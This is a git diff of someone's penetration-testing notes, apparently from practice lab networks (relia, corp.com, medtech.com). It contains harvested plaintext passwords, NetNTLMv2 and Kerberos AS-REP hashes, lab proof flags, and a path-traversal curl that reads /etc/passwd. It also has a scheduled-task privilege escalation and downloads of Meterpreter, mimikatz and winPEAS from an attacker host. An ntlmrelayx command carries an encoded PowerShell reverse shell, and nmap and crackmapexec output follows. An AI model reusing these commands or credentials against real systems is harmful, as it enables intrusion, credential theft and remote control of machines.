"MindMap/image/Mindmap transfer files to VICTIM.png",
|
||||
"MindMap/image/Mindmap transfer files to ATTACKER.png",
|
||||
"MindMap/image/Mindmap Web Application Pentesting.png",
|
||||
"MindMap/image/Mindmap Remote Port Forwarding.png",
|
||||
"MindMap/image/Mindmap Remote Port Forwarding from a home network.png",
|
||||
"MindMap/image/Mindmap Local Port Forwarding.png",
|
||||
"MindMap/image/Mindmap Local Port Forwarding with a Bastion host.png",
|
||||
"MindMap/image",
|
||||
"MindMap/WiFi",
|
||||
"MindMap/Web Penetration Testing Mindmap/Web-Penetration-Testing-Mindmap.mm",
|
||||
"MindMap/Web Penetration Testing Mindmap",
|
||||
"MindMap/Shells",
|
||||
"MindMap/SSTI",
|
||||
"MindMap/Privilege escalation Mindmap",
|
||||
"MindMap/Pivotting-tunnels",
|
||||
"MindMap/LICENSE",
|
||||
"MindMap/File-Transfer"
|
||||
]
|
||||
}
|
||||
@@ -0,0 +1,15 @@
|
||||
**172.16.189.6**
|
||||
**172.16.189.7**
|
||||
**172.16.189.21**
|
||||
**172.16.189.19**
|
||||
**172.16.189.15**
|
||||
**172.16.189.30**
|
||||
**172.16.189.14**
|
||||
**172.16.189.20**
|
||||
**192.168.229.249**
|
||||
**192.168.229.248**
|
||||
**192.168.229.247**
|
||||
**192.168.229.246**
|
||||
**192.168.229.245**
|
||||
**192.168.229.191**
|
||||
**192.168.229.189**
|
||||
@@ -0,0 +1 @@
|
||||
dnn
|
||||
@@ -0,0 +1,3 @@
|
||||
curl -s --path-as-is "<http://192.168.229.245/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd>"
|
||||
|
||||
fireball (anita.key)
|
||||
@@ -0,0 +1,34 @@
|
||||
mark@relia.com OathDeeplyReprieve91
|
||||
|
||||
### XAMPP Default Passwords ###
|
||||
|
||||
1. MySQL (phpMyAdmin):
|
||||
|
||||
User: root
|
||||
Password:
|
||||
(means no password!)
|
||||
|
||||
2. FileZilla FTP:
|
||||
|
||||
[ You have to create a new user on the FileZilla Interface ]
|
||||
|
||||
3. Mercury (not in the USB & lite version):
|
||||
|
||||
Postmaster: Postmaster (postmaster@localhost)
|
||||
Administrator: Admin (admin@localhost)
|
||||
|
||||
User: newuser
|
||||
Password: wampp
|
||||
|
||||
4. WEBDAV:
|
||||
|
||||
User: xampp-dav-unsecure
|
||||
Password: ppmax2011
|
||||
Attention: WEBDAV is not active since XAMPP Version 1.7.4.
|
||||
For activation please comment out the httpd-dav.conf and
|
||||
following modules in the httpd.conf
|
||||
|
||||
LoadModule dav_module modules/mod_dav.so
|
||||
LoadModule dav_fs_module modules/mod_dav_fs.so
|
||||
|
||||
Please do not forget to refresh the WEBDAV authentification (users and passwords).
|
||||
@@ -0,0 +1 @@
|
||||
Umbarco , log in with mark and OathDeeplyReprieve91
|
||||
@@ -0,0 +1,16 @@
|
||||
.5 : e410e9f0206199437684d8232caaded1 proof X
|
||||
**172.16.189.6** cf86245279c256faa805d94fa8ffe419 X
|
||||
**172.16.189.7** : proof : fae902d3eceaa5fe5584dd5e2be13419 , local : de487e5c556fc4bba7a4b6d6de5c18a4 X
|
||||
**192.168.229.249** local: 4e8fea99a80e23ad6fe8c92348542c89, root: 1b501db31a17a18c826e7b5cb26744f5 X
|
||||
**192.168.229.248** local: 2c2cc6f32986baee17ea9ec8e56f4b3d, root: 8c135cb2da8df15504a23027ce3873a4 (mark?) X
|
||||
**192.168.219.247** local: 386aa1706f6eea5ebc931d08e851c5bb, root: 85a55905cd1f42f399c9bf26cd4855ef x
|
||||
**192.168.229.246** local: a7867dd364e00f6a99b6d3468e4e5f9c , root: 0fd61fba73fd5337a2607459f42fabc3 x
|
||||
**192.168.229.245** local : b8f1949a5da82e4b13797f331ff39017 , root: 5530c5e0d5406f437c47d62c2dee0ba9 X
|
||||
**172.16.189.21** 19a40f9bc5857952af7d95317c16b1a3
|
||||
**172.16.189.19** local: 470bd0fe042b4138349c4364e8ca7f74 , root : c64ffa84304c2d51984fb5a7a6c272dd
|
||||
**172.16.189.15** local: 33a70a6b6b1ab6d35e913b36ebd5cd70 , root: 7b8cf4ae0b31d79340fd07ff6edbe064
|
||||
**172.16.189.30** proof: 8e6b50da44c31c6fff0c21c836ef851a
|
||||
**172.16.189.14** local: 43e884f723a67ac510926d7400b38331 , root: 7146619d893c84b16a370a2aefa1e45f
|
||||
**192.168.229.191** root:0e78c0c08bcccfb0574176a5acb2d432 X
|
||||
**192.168.229.189** root: e410e9f0206199437684d8232caaded1 X
|
||||
**172.16.189.20** local : 7aa49f9ebe7fbe4968ccd40e52ac1131 :
|
||||
@@ -0,0 +1,12 @@
|
||||
password
|
||||
HabitsAgesEnd123
|
||||
SomersetVinyl1!
|
||||
SAPassword_1998
|
||||
Papal1963
|
||||
12345
|
||||
DotNetNukeDatabasePassword!
|
||||
fireball
|
||||
!8@aBRBYdb3!
|
||||
Castello1!
|
||||
SlimGodhoodMope
|
||||
DPuBT9tGCBrTbR
|
||||
@@ -0,0 +1,3 @@
|
||||
maildmz:DPuBT9tGCBrTbR
|
||||
andrea:PasswordPassword_6
|
||||
milana:2237ff5905ec2fd9ebbdfa3a14d1b2b6
|
||||
@@ -0,0 +1,13 @@
|
||||
miranda
|
||||
steven
|
||||
mark
|
||||
anita
|
||||
offsec
|
||||
bo
|
||||
emma
|
||||
michael321
|
||||
dnnuser
|
||||
zachary
|
||||
adrian
|
||||
jim
|
||||
dmzadmin
|
||||
@@ -0,0 +1,17 @@
|
||||
Hash: diana::CLIENTWK222:1122334455667788:cbe4454616892478412188ab54f0fdf0:0101000000000000975c4e2ebc93da01e3895dd8e19d71e90000000008003000300000000000000000000000002000001513eef000a029646815e9ac70fef311a4bbfc6473b89c5e4ca4abcd1f02025f0a00100000000000000000000000000000000000090000000000000000000000
|
||||
|
||||
|
||||
WelcomeToWinter0121
|
||||
|
||||
|
||||
|
||||
27c5afc3.2aaf-4bb1.aeb9.feaed1a6745b
|
||||
|
||||
|
||||
`schtasks /Create /RU "SYSTEM" /SC ONLOGON /TN "SchedPE" /TR "cmd /c net localgroup administrators alex /add"`
|
||||
|
||||
|
||||
Version: NetNTLMv2
|
||||
Hash: enterpriseuser::CLIENTWK222:1122334455667788:1ed8927e5759da639bba2085d89af0c1:010100000000000026c6c3c9c593da01eba8a4b4ddefc0e800
|
||||
00000008003000300000000000000000000000003000001513eef000a029646815e9ac70fef311a4bbfc6473b89c5e4ca4abcd1f02025f0a001000000000000000000000000
|
||||
00000000000090000000000000000000000
|
||||
+56
@@ -0,0 +1,56 @@
|
||||
PS C:\Tools> Find-DomainShare
|
||||
|
||||
Name Type Remark ComputerName
|
||||
---- ---- ------ ------------
|
||||
ADMIN$ 2147483648 Remote Admin DC1.corp.com
|
||||
C$ 2147483648 Default share DC1.corp.com
|
||||
IPC$ 2147483651 Remote IPC DC1.corp.com
|
||||
NETLOGON 0 Logon server share DC1.corp.com
|
||||
SYSVOL 0 Logon server share DC1.corp.com
|
||||
ADMIN$ 2147483648 Remote Admin web04.corp.com
|
||||
backup 0 web04.corp.com
|
||||
C$ 2147483648 Default share web04.corp.com
|
||||
IPC$ 2147483651 Remote IPC web04.corp.com
|
||||
ADMIN$ 2147483648 Remote Admin FILES04.corp.com
|
||||
C 0 FILES04.corp.com
|
||||
C$ 2147483648 Default share FILES04.corp.com
|
||||
docshare 0 Documentation purposes FILES04.corp.com
|
||||
Important Files 0 FILES04.corp.com
|
||||
IPC$ 2147483651 Remote IPC FILES04.corp.com
|
||||
Tools 0 FILES04.corp.com
|
||||
Users 0 FILES04.corp.com
|
||||
Windows 0 FILES04.corp.com
|
||||
ADMIN$ 2147483648 Remote Admin client74.corp.com
|
||||
C$ 2147483648 Default share client74.corp.com
|
||||
IPC$ 2147483651 Remote IPC client74.corp.com
|
||||
ADMIN$ 2147483648 Remote Admin client75.corp.com
|
||||
C$ 2147483648 Default share client75.corp.com
|
||||
IPC$ 2147483651 Remote IPC client75.corp.com
|
||||
sharing 0 client75.corp.com
|
||||
ADMIN$ 2147483648 Remote Admin CLIENT76.corp.com
|
||||
C$ 2147483648 Default share CLIENT76.corp.com
|
||||
IPC$ 2147483651 Remote IPC CLIENT76.corp.com
|
||||
|
||||
HenchmanPutridBonbon11
|
||||
P@$$w0rd
|
||||
|
||||
net use z: \\192.168.45.224\test /user:test test
|
||||
|
||||
|
||||
|
||||
Administrator
|
||||
Guest
|
||||
krbtgt
|
||||
dave
|
||||
stephanie
|
||||
jeff
|
||||
jeffadmin
|
||||
iis_service
|
||||
pete
|
||||
jen
|
||||
robert
|
||||
dennis
|
||||
michelle
|
||||
|
||||
-----
|
||||
jeff:HenchmanPutridBonbon11
|
||||
@@ -0,0 +1,3 @@
|
||||
$krb5asrep$23$mike@CORP.COM:51a5e776656df4d3e87e32ad82dfa66b$1a214777261c3458282e3342fb735a03694389a41e1fb561b17c932bb6b55e38216337b92bf87fca59d189487449723e3f02480b6e1ccd959f3b378c14da6d0253f5f731a308226d82ca56520091149de8300df45a78014cdd544a5ec342e9e9cee25f2c4dc2741b5165d821327e859b8bd3384f9be28f044b417be243f5fa0fe103077505b0937a2403224bae71d46b75014170402010acf1b0a19a9175ad8636854d17b936fbb0242d000c7dc1f99716e69477f1b4e522f62b54621f9930368598f929ff3ac894154ddfc38782e590fa04a2c47909c1fda30cab93e391436ebf357271:Darkness1099!
|
||||
|
||||
|
||||
@@ -0,0 +1,68 @@
|
||||
|
||||
PS C:\Windows\System32\WindowsPowerShell\v1.0. whoami
|
||||
whoami
|
||||
beyond\marcus
|
||||
PS C:\Windows\System32\WindowsPowerShell\v1.0. hostname
|
||||
hostname
|
||||
CLIENTWK1
|
||||
PS C:\Windows\System32\WindowsPowerShell\v1.0. ipconfig
|
||||
ipconfig
|
||||
|
||||
Windows IP Configuration
|
||||
|
||||
|
||||
Ethernet adapter Ethernet0:
|
||||
|
||||
Connection-specific DNS Suffix . :
|
||||
IPv4 Address. . . . . . . . . . . : 172.16.160.243
|
||||
Subnet Mask . . . . . . . . . . . : 255.255.255.0
|
||||
Default Gateway . . . . . . . . . : 172.16.160.254
|
||||
PS C:\Windows\System32\WindowsPowerShell\v1.0.
|
||||
|
||||
|
||||
|
||||
iwr -uri [http://192.168.45.198:8000/winPEASx64.exe](http://192.168.119.5:8000/winPEASx64.exe) -Outfile winPEAS.exe
|
||||
|
||||
|
||||
type C:\Users\marcus\AppData\Local\Microsoft\Edge\User Data\ZxcvbnData\3.0.0.0\passwords.txt
|
||||
|
||||
Enumerating Security Packages Credentials
|
||||
Version: NetNTLMv2
|
||||
Hash: marcus::BEYOND:1122334455667788:7a11d0ea1ca545e49688cde3c7ce30d9:01010000000000003f5f925128c6da013686d0a90db8fdca000000000800300030000000000000000000000000200000ca9c7210e9cfb74dcdbdb6246cc4618e90a419e1fc1edc60f3ec2c47c1dcbd220a00100000000000000000000000000000000000090000000000000000000000
|
||||
|
||||
|
||||
Network Ifaces and known hosts
|
||||
The masks are only for the IPv4 addresses
|
||||
Ethernet0[00:50:56:9E:65:CE]: 172.16.160.243 / 255.255.255.0
|
||||
Gateways: 172.16.160.254
|
||||
DNSs: 172.16.160.240
|
||||
Known hosts:
|
||||
172.16.160.240 00.50.56.9E-FA-ED Dynamic
|
||||
172.16.160.254 00.50.56.9E-DA-CD Dynamic
|
||||
172.16.160.255 FF-FF-FF-FF-FF-FF Static
|
||||
224.0.0.22 01.00.5E-00.00.16 Static
|
||||
224.0.0.251 01.00.5E-00.00.FB Static
|
||||
224.0.0.252 01.00.5E-00.00.FC Static
|
||||
239.255.255.250 01.00.5E-7F-FF-FA Static
|
||||
|
||||
|
||||
iwr -uri [http://192.168.45.198:8000/met.exe](http://192.168.119.5:8000/met.exe) -Outfile met.exe
|
||||
|
||||
|
||||
sudo proxychains -q nmap -sT -oN nmap_servers -Pn -p 21,80,443 172.16.160.240 172.16.160.241 172.16.160.254
|
||||
|
||||
|
||||
./`chisel.exe client 192.168.45.198:8080 R:80:172.16.160.241:80`
|
||||
|
||||
**DANIelaRO123**
|
||||
|
||||
|
||||
**sudo impacket-ntlmrelayx --no-http-server -smb2support -t 192.168.229.242 -c **“powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA5ADIALgAxADYAOAAuADQANQAuADEAOQA4ACIALAA0ADQANAA0ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7AHQAcgB5ACAAewAgACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAiAC4AIAB7ACAAJABkAGEAdABhACAAfQAgADIAPgAmADEAIgAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACAAfQAgAGMAYQB0AGMAaAAgAHsAIAAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAiACQAXwBgAG4AIgB9ADsAIAAkAHMAZQBuAGQAYgBhAGMAawAyACAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACIAUABTACAAIgAgACsAIAAoAHAAdwBkACkALgBQAGEAdABoACAAKwAgACIAPgAgACIAOwAkAHMAZQBuAGQAYgB5AHQAZQAgAD0AIAAoAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkAKQAuAEcAZQB0AEIAeQB0AGUAcwAoACQAcwBlAG4AZABiAGEAYwBrADIAKQA7ACQAcwB0AHIAZQBhAG0ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQAZQAsADAALAAkAHMAZQBuAGQAYgB5AHQAZQAuAEwAZQBuAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA”
|
||||
|
||||
|
||||
iwr -uri [http://192.168.45.198:8000/met.exe](http://192.168.119.5:8000/met.exe) -Outfile met.exe
|
||||
|
||||
iwr -uri [http://192.168.45.198:8000/mimikatz.exe](http://192.168.119.5:8000/mimikatz.exe) -Outfile mimikatz.exe
|
||||
|
||||
|
||||
**NiftyTopekaDevolve6655!#!**
|
||||
@@ -0,0 +1,10 @@
|
||||
**172.16.229.10**
|
||||
**172.16.229.11**
|
||||
**172.16.229.12**
|
||||
**172.16.229.13**
|
||||
**172.16.229.14**
|
||||
**172.16.229.82**
|
||||
**172.16.229.83**
|
||||
**192.168.229.120**
|
||||
**192.168.229.121**
|
||||
**192.168.229.122**
|
||||
@@ -0,0 +1,210 @@
|
||||
Nmap scan report for 172.16.152.11
|
||||
Host is up (0.055s latency).
|
||||
Not shown: 997 filtered tcp ports (no-response)
|
||||
PORT STATE SERVICE VERSION
|
||||
135/tcp open msrpc Microsoft Windows RPC
|
||||
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
|
||||
445/tcp open microsoft-ds?
|
||||
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
|
||||
|
||||
Host script results:
|
||||
| smb2.time:
|
||||
| date: 2024.06.25T10:45:43
|
||||
|_ start_date: N/A
|
||||
| smb2.security-mode:
|
||||
| 3:1:1:
|
||||
|_ Message signing enabled but not required
|
||||
|_nbstat: NetBIOS name: FILES02, NetBIOS user: <unknown>, NetBIOS MAC: 00:50:56:9e:f7:cb (VMware)
|
||||
|_clock-skew: 1s
|
||||
|
||||
Nmap scan report for 172.16.152.12
|
||||
Host is up (0.063s latency).
|
||||
Not shown: 996 filtered tcp ports (no-response)
|
||||
PORT STATE SERVICE VERSION
|
||||
135/tcp open msrpc Microsoft Windows RPC
|
||||
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
|
||||
445/tcp open microsoft-ds?
|
||||
3389/tcp open ms-wbt-server Microsoft Terminal Services
|
||||
|_ssl-date: 2024.06.25T10:46:22+00:00; +2s from scanner time.
|
||||
| rdp-ntlm-info:
|
||||
| Target_Name: MEDTECH
|
||||
| NetBIOS_Domain_Name: MEDTECH
|
||||
| NetBIOS_Computer_Name: DEV04
|
||||
| DNS_Domain_Name: medtech.com
|
||||
| DNS_Computer_Name: DEV04.medtech.com
|
||||
| DNS_Tree_Name: medtech.com
|
||||
| Product_Version: 10.0.20348
|
||||
|_ System_Time: 2024.06.25T10:45:42+00:00
|
||||
| ssl-cert: Subject: commonName=DEV04.medtech.com
|
||||
| Not valid before: 2024.04.16T20:19:52
|
||||
|_Not valid after: 2024.10.16T20:19:52
|
||||
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
|
||||
|
||||
Host script results:
|
||||
|_clock-skew: mean: 1s, deviation: 0s, median: 1s
|
||||
| smb2.security-mode:
|
||||
| 3:1:1:
|
||||
|_ Message signing enabled but not required
|
||||
| smb2.time:
|
||||
| date: 2024.06.25T10:45:43
|
||||
|_ start_date: N/A
|
||||
|_nbstat: NetBIOS name: DEV04, NetBIOS user: <unknown>, NetBIOS MAC: 00:50:56:9e:7f:da (VMware)
|
||||
|
||||
Nmap scan report for 172.16.152.13
|
||||
Host is up (0.064s latency).
|
||||
Not shown: 997 filtered tcp ports (no-response)
|
||||
PORT STATE SERVICE VERSION
|
||||
135/tcp open msrpc Microsoft Windows RPC
|
||||
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
|
||||
445/tcp open microsoft-ds?
|
||||
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
|
||||
|
||||
Host script results:
|
||||
| smb2.security-mode:
|
||||
| 3:1:1:
|
||||
|_ Message signing enabled but not required
|
||||
|_nbstat: NetBIOS name: PROD01, NetBIOS user: <unknown>, NetBIOS MAC: 00:50:56:9e:d1:c2 (VMware)
|
||||
|_clock-skew: 1s
|
||||
| smb2.time:
|
||||
| date: 2024.06.25T10:45:43
|
||||
|_ start_date: N/A
|
||||
|
||||
Nmap scan report for 172.16.152.14
|
||||
Host is up (0.052s latency).
|
||||
Not shown: 999 filtered tcp ports (no-response)
|
||||
PORT STATE SERVICE VERSION
|
||||
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0.
|
||||
| ssh-hostkey:
|
||||
| 3072 eb:0e:77:7c:69:f2:4a:a5:65:2a:1c:ec:ec:6e:79:19 (RSA)
|
||||
|_ 256 5f:4f:29:47:7a:14:65:4d:bc:f3:74:40:a7:45:7e:94 (ED25519.
|
||||
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
|
||||
|
||||
Post-scan script results:
|
||||
| clock-skew:
|
||||
| 1s:
|
||||
| 172.16.152.11
|
||||
| 172.16.152.12
|
||||
|_ 172.16.152.13
|
||||
Service detection performed. Please report any incorrect results at <https://nmap.org/submit/> .
|
||||
Nmap done: 4 IP addresses (4 hosts up) scanned in 66.73 seconds
|
||||
|
||||
|
||||
Nmap scan report for 172.16.152.82
|
||||
Host is up (0.064s latency).
|
||||
Not shown: 996 filtered tcp ports (no-response)
|
||||
PORT STATE SERVICE VERSION
|
||||
135/tcp open msrpc Microsoft Windows RPC
|
||||
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
|
||||
445/tcp open microsoft-ds?
|
||||
3389/tcp open ms-wbt-server Microsoft Terminal Services
|
||||
| ssl-cert: Subject: commonName=CLIENT01.medtech.com
|
||||
| Not valid before: 2024.04.16T21:31:12
|
||||
|_Not valid after: 2024.10.16T21:31:12
|
||||
| rdp-ntlm-info:
|
||||
| Target_Name: MEDTECH
|
||||
| NetBIOS_Domain_Name: MEDTECH
|
||||
| NetBIOS_Computer_Name: CLIENT01
|
||||
| DNS_Domain_Name: medtech.com
|
||||
| DNS_Computer_Name: CLIENT01.medtech.com
|
||||
| DNS_Tree_Name: medtech.com
|
||||
| Product_Version: 10.0.22000
|
||||
|_ System_Time: 2024.06.25T10:54:27+00:00
|
||||
|_ssl-date: 2024.06.25T10:55:07+00:00; +2s from scanner time.
|
||||
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
|
||||
|
||||
Host script results:
|
||||
|_clock-skew: mean: 1s, deviation: 0s, median: 1s
|
||||
| smb2.security-mode:
|
||||
| 3:1:1:
|
||||
|_ Message signing enabled but not required
|
||||
|_nbstat: NetBIOS name: CLIENT01, NetBIOS user: <unknown>, NetBIOS MAC: 00:50:56:9e:34:40 (VMware)
|
||||
| smb2.time:
|
||||
| date: 2024.06.25T10:54:27
|
||||
|_ start_date: N/A
|
||||
|
||||
Nmap scan report for 172.16.152.83
|
||||
Host is up (0.064s latency).
|
||||
Not shown: 997 filtered tcp ports (no-response)
|
||||
PORT STATE SERVICE VERSION
|
||||
135/tcp open msrpc Microsoft Windows RPC
|
||||
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
|
||||
445/tcp open microsoft-ds?
|
||||
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
|
||||
|
||||
Host script results:
|
||||
|_nbstat: NetBIOS name: CLIENT02, NetBIOS user: <unknown>, NetBIOS MAC: 00:50:56:9e:3f:90 (VMware)
|
||||
|_clock-skew: 1s
|
||||
| smb2.security-mode:
|
||||
| 3:1:1:
|
||||
|_ Message signing enabled but not required
|
||||
| smb2.time:
|
||||
| date: 2024.06.25T10:54:27
|
||||
|_ start_date: N/A
|
||||
|
||||
Post-scan script results:
|
||||
| clock-skew:
|
||||
| 1s:
|
||||
| 172.16.152.82
|
||||
|_ 172.16.152.83
|
||||
Service detection performed. Please report any incorrect results at <https://nmap.org/submit/> .
|
||||
Nmap done: 2 IP addresses (2 hosts up) scanned in 74.33 seconds
|
||||
|
||||
|
||||
|
||||
---smb----
|
||||
|
||||
➜ websrv crackmapexec smb 172.16.152.10.83 -u joe -d medtech.com -p "Flowers1" --shares
|
||||
SMB 172.16.152.10 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01. (domain:medtech.com) (signing:True) (SMBv1:False)
|
||||
SMB 172.16.152.83 445 CLIENT02 [*] Windows 11 Build 22000 x64 (name:CLIENT02. (domain:medtech.com) (signing:False) (SMBv1:False)
|
||||
SMB 172.16.152.12 445 DEV04 [*] Windows Server 2022 Build 20348 x64 (name:DEV04. (domain:medtech.com) (signing:False) (SMBv1:False)
|
||||
SMB 172.16.152.11 445 FILES02 [*] Windows Server 2022 Build 20348 x64 (name:FILES02. (domain:medtech.com) (signing:False) (SMBv1:False)
|
||||
SMB 172.16.152.82 445 CLIENT01 [*] Windows 11 Build 22000 x64 (name:CLIENT01. (domain:medtech.com) (signing:False) (SMBv1:False)
|
||||
SMB 172.16.152.13 445 PROD01 [*] Windows Server 2022 Build 20348 x64 (name:PROD01. (domain:medtech.com) (signing:False) (SMBv1:False)
|
||||
SMB 172.16.152.10 445 DC01 [+] medtech.com\joe:Flowers1
|
||||
SMB 172.16.152.83 445 CLIENT02 [+] medtech.com\joe:Flowers1
|
||||
SMB 172.16.152.12 445 DEV04 [+] medtech.com\joe:Flowers1
|
||||
SMB 172.16.152.11 445 FILES02 [+] medtech.com\joe:Flowers1 (Pwn3d!)
|
||||
SMB 172.16.152.12 445 DEV04 [+] Enumerated shares
|
||||
SMB 172.16.152.12 445 DEV04 Share Permissions Remark
|
||||
SMB 172.16.152.12 445 DEV04 ----- ----------- ------
|
||||
SMB 172.16.152.12 445 DEV04 ADMIN$ Remote Admin
|
||||
SMB 172.16.152.12 445 DEV04 C$ Default share
|
||||
SMB 172.16.152.12 445 DEV04 IPC$ READ Remote IPC
|
||||
SMB 172.16.152.83 445 CLIENT02 [+] Enumerated shares
|
||||
SMB 172.16.152.83 445 CLIENT02 Share Permissions Remark
|
||||
SMB 172.16.152.83 445 CLIENT02 ----- ----------- ------
|
||||
SMB 172.16.152.83 445 CLIENT02 ADMIN$ Remote Admin
|
||||
SMB 172.16.152.83 445 CLIENT02 C READ
|
||||
SMB 172.16.152.83 445 CLIENT02 C$ Default share
|
||||
SMB 172.16.152.83 445 CLIENT02 IPC$ READ Remote IPC
|
||||
SMB 172.16.152.83 445 CLIENT02 Windows READ
|
||||
SMB 172.16.152.10 445 DC01 [+] Enumerated shares
|
||||
SMB 172.16.152.10 445 DC01 Share Permissions Remark
|
||||
SMB 172.16.152.10 445 DC01 ----- ----------- ------
|
||||
SMB 172.16.152.10 445 DC01 ADMIN$ READ Remote Admin
|
||||
SMB 172.16.152.10 445 DC01 C$ READ,WRITE Default share
|
||||
SMB 172.16.152.10 445 DC01 IPC$ READ Remote IPC
|
||||
SMB 172.16.152.10 445 DC01 NETLOGON READ Logon server share
|
||||
SMB 172.16.152.10 445 DC01 SYSVOL READ Logon server share
|
||||
SMB 172.16.152.82 445 CLIENT01 [+] medtech.com\joe:Flowers1
|
||||
SMB 172.16.152.13 445 PROD01 [+] medtech.com\joe:Flowers1
|
||||
SMB 172.16.152.82 445 CLIENT01 [+] Enumerated shares
|
||||
SMB 172.16.152.82 445 CLIENT01 Share Permissions Remark
|
||||
SMB 172.16.152.82 445 CLIENT01 ----- ----------- ------
|
||||
SMB 172.16.152.82 445 CLIENT01 ADMIN$ Remote Admin
|
||||
SMB 172.16.152.82 445 CLIENT01 C$ Default share
|
||||
SMB 172.16.152.82 445 CLIENT01 IPC$ READ Remote IPC
|
||||
SMB 172.16.152.13 445 PROD01 [+] Enumerated shares
|
||||
SMB 172.16.152.13 445 PROD01 Share Permissions Remark
|
||||
SMB 172.16.152.13 445 PROD01 ----- ----------- ------
|
||||
SMB 172.16.152.13 445 PROD01 ADMIN$ Remote Admin
|
||||
SMB 172.16.152.13 445 PROD01 C$ Default share
|
||||
SMB 172.16.152.13 445 PROD01 IPC$ READ Remote IPC
|
||||
SMB 172.16.152.11 445 FILES02 [+] Enumerated shares
|
||||
SMB 172.16.152.11 445 FILES02 Share Permissions Remark
|
||||
SMB 172.16.152.11 445 FILES02 ----- ----------- ------
|
||||
SMB 172.16.152.11 445 FILES02 ADMIN$ READ,WRITE Remote Admin
|
||||
SMB 172.16.152.11 445 FILES02 C READ,WRITE
|
||||
SMB 172.16.152.11 445 FILES02 C$ READ,WRITE Default share
|
||||
SMB 172.16.152.11 445 FILES02 IPC$ READ Remote IPC
|
||||
SMB 172.16.152.11 445 FILES02 TEMP READ,WRITE
|
||||
@@ -0,0 +1,27 @@
|
||||
Starting Nmap 7.94SVN ( <https://nmap.org> ) at 2024.06.25 12:41 CEST
|
||||
Nmap scan report for 172.16.152.10
|
||||
Host is up (0.073s latency).
|
||||
Not shown: 989 filtered tcp ports (no-response)
|
||||
PORT STATE SERVICE VERSION
|
||||
53/tcp open domain Simple DNS Plus
|
||||
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024.06.25 10:41:27Z)
|
||||
135/tcp open msrpc Microsoft Windows RPC
|
||||
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
|
||||
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: medtech.com0., Site: Default-First-Site-Name)
|
||||
445/tcp open microsoft-ds?
|
||||
464/tcp open kpasswd5?
|
||||
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
|
||||
636/tcp open tcpwrapped
|
||||
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: medtech.com0., Site: Default-First-Site-Name)
|
||||
3269/tcp open tcpwrapped
|
||||
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
|
||||
|
||||
Host script results:
|
||||
| smb2.time:
|
||||
| date: 2024.06.25T10:41:38
|
||||
|_ start_date: N/A
|
||||
|_clock-skew: 1s
|
||||
|_nbstat: NetBIOS name: DC01, NetBIOS user: <unknown>, NetBIOS MAC: 00:50:56:9e:f0:b0 (VMware)
|
||||
| smb2.security-mode:
|
||||
| 3:1:1:
|
||||
|_ Message signing enabled and required
|
||||
@@ -0,0 +1,3 @@
|
||||
iwr -uri [http://192.168.45.203:8888/](http://192.168.45.198:8888/nc.exe)peas.exe -Outfile peas.exe
|
||||
|
||||
|
||||
@@ -0,0 +1,32 @@
|
||||
Nmap scan report for 172.16.152.12
|
||||
Host is up (0.063s latency).
|
||||
Not shown: 996 filtered tcp ports (no-response)
|
||||
PORT STATE SERVICE VERSION
|
||||
135/tcp open msrpc Microsoft Windows RPC
|
||||
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
|
||||
445/tcp open microsoft-ds?
|
||||
3389/tcp open ms-wbt-server Microsoft Terminal Services
|
||||
|_ssl-date: 2024.06.25T10:46:22+00:00; +2s from scanner time.
|
||||
| rdp-ntlm-info:
|
||||
| Target_Name: MEDTECH
|
||||
| NetBIOS_Domain_Name: MEDTECH
|
||||
| NetBIOS_Computer_Name: DEV04
|
||||
| DNS_Domain_Name: medtech.com
|
||||
| DNS_Computer_Name: DEV04.medtech.com
|
||||
| DNS_Tree_Name: medtech.com
|
||||
